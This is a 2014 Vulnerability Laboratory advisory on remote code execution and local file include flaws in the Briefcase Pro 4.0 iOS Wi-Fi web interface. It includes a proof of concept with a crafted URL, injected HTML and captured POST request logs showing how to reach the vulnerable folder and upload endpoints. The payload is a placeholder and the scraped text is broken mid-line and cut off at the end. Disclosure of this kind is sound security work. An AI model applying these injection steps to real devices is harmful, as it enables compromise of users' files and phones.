2014-09-15

Document Title:
===============
Briefcase 4.0 iOS - Code Execution & File Include Vulnerability

References (Source):
====================
http://www.vulnerability-lab.

com/get_content.php?id=1319

Release Date:
=============
2014-09-11

Vulnerability Laboratory ID (VL-ID):
==============================

======
1319

Common Vulnerability Scoring System:
==============================

======
9.2

Product & Service Introduction:
==============================

=
Briefcase v4.0 is an all-in-one document reader and manager for iPhone, iPad and iPod Touch. It can import files from Camera,
Photo Albums, PC/Mac(via Wi-Fi or iTunes), Email attachments, GoogleDrive, Dropbox,SkyDrive,Box and so on. All files are
saved to your deivce locally so you can enjoy reading them anywhere!

( Copy of the Homepage: https://itunes.apple.com/us/

app/briefcase-pro-file-

manager/id579224808 )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple critical vulnerabilities in the official Briefcase Pro v4.0 iOS mobile web-application.

Vulnerability Disclosure Timeline:
==============================

====
2014-09-11: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Qiwen Zhang
Product: Briefcase Pro - iOS Mobile Web Application 4.0

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Critical

Technical Details & Description:
==============================

==
1.1
A remote code execution web vulnerability has been discovered in the official Briefcase Pro v4.0 iOS mobile wifi web-application.
The vulnerbaility allows an attacker to compromise the application and connected device by usage of a system specific command execution.

The vulnerability is located in the `Create Folder (Add Folder)` input field. The input field to create folders allows to inject the input
via POST method request. The request validation has only a simple single quote encoding. Remote attackers are easily able to execute code
by usage of a script code payload in combination with system device specific php code values. The execution of the code occurs in the main
index file dir listing context. The attack vector is on application-side and the request method to attack the service is POST.

The remote attacker is able to tamper the create new folder post method request and can intercept the values twice to attach the second
manipulated path value to provoke a code execution. After the add request it is possible to attach to the already included values via create
new folder to execute the code.

The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system)
count of 9.2. Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank)
or user interaction. Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or
affected component compromise.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Create Folder (Add Folder)

Vulnerable Parameter(s):
[+] name to path id

Affected Module(s):
[+] previewFile.html?id=undefined&

name=

1.2
A local file include web vulnerability has been discovered in the official Briefcase Pro v4.0 iOS mobile wifi web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload files` module. Remote attackers are able to inject own files
with malicious `filename` values in the `upload files` POST method request to compromise the mobile web-application. The local file/path
include execution occcurs in the path dir index listing context. The attacker is able to inject the local file include request by usage
of the `wifi interface`.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
inject is POST.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
count of 6.3. Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application
user account with low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or
connected device component compromise.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Upload Files

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index Path Dir Listing (http://localhost/)

Proof of Concept (PoC):
=======================
1.1
The code execution vulnerability in the create folder function can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Link
http://localhost/previewFile.

html?id=undefined&name=%3E[

CODE EXECUTION VULNERABILITY!]

PoC: Create Folder (Add Folder)

<div class="file-name-c"><p class="file-name-title">>"<%

3E[CODE EXECUTION VULNERABILITY!]"></p><div class="btn-group overlay-actions"><button type="button"
menuType="Starred" fileId="C00D9F05-9C80-4E6D-

B922-8BCAB14ACECB" class="btn btn-xs btn-default tblStarred file-unstared">
<span class="glyphicon glyphicon-star"></span> Starred</button><button type="button"  menuType="DirectDownload" class="btn btn-xs btn-default tblDownload">
<span class="glyphicon glyphicon-arrow-down"></span> Download</button><button type="button" menuType="Rename" name="Rename" class="btn btn-xs btn-default tblRename">
<span class="glyphicon glyphicon-pencil"></span> Rename</button></div></div><

div class="file-info-c pull-right""><label class="file-size-title">0 items</label>
<label class="file-date-title">18:46<

/label></div></div></iframe></

p></div></div></div></div>

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/folder/add Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Größe des Inhalts[375] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.

7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-

www-form-urlencoded; charset=UTF-8]
X-Requested-With[

XMLHttpRequest]
Referer[http://localhost/]
Content-Length[275]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"

23A61067-BF41-4BC4-A69F-

DA4348A5D7DC","reqId":"

A261102A-AEB3-4DBF-96CC-

37BE529E7F65","reqDate":"2014-

09-07 18:45:56","action":"AddFolder"

},"content":{"amount":1,"data"

:[{"name":"%3E[CODE EXECUTION VULNERABILITY!]","parent":"

PocketBriefcaseRootFolderName"

}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[375]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:46:41 GMT]
-
Status: 200[OK]
POST http://localhost/files/list Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Größe des Inhalts[948] Mime Type[application/json]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.

7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-

www-form-urlencoded; charset=UTF-8]
X-Requested-With[

XMLHttpRequest]
Referer[http://localhost/]
Content-Length[242]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"header":{"clientId":"

23A61067-BF41-4BC4-A69F-

DA4348A5D7DC","reqId":"

884EA3B1-53EB-47D9-8316-

FF53A92A6047","reqDate":"2014-

09-07 18:45:57","action":"ListFiles"

},"content":{"amount":1,"data"

:[{"id":"vSysAll","filter":"*"

,"isCategory":true}]}}[]
Response Header:
Accept-Ranges[bytes]
Content-Length[948]
Content-Type[application/json]
Date[Sun, 07 Sep 2014 16:46:42 GMT]
-
Status: 200[OK]
GET http://localhost/file/

thumbnail/get/C00D9F05-9C80-

4E6D-B922-8BCAB14ACECB Load Flags[VALIDATE_NEVER  ] Größe des Inhalts[717] Mime Type[application/x-unknown-

content-type]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[image/png,image/*;q=0.

8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.

7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[717]
Date[Sun, 07 Sep 2014 16:46:42 GMT]
-
Status: 200[OK]
GET http://localhost/%3E[CODE EXECUTION VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/

xhtml+xml,application/xml;q=0.

9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.

7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost/]

Reference(s):
http://localhost/file/

thumbnail/get/
<a href="http://

Show more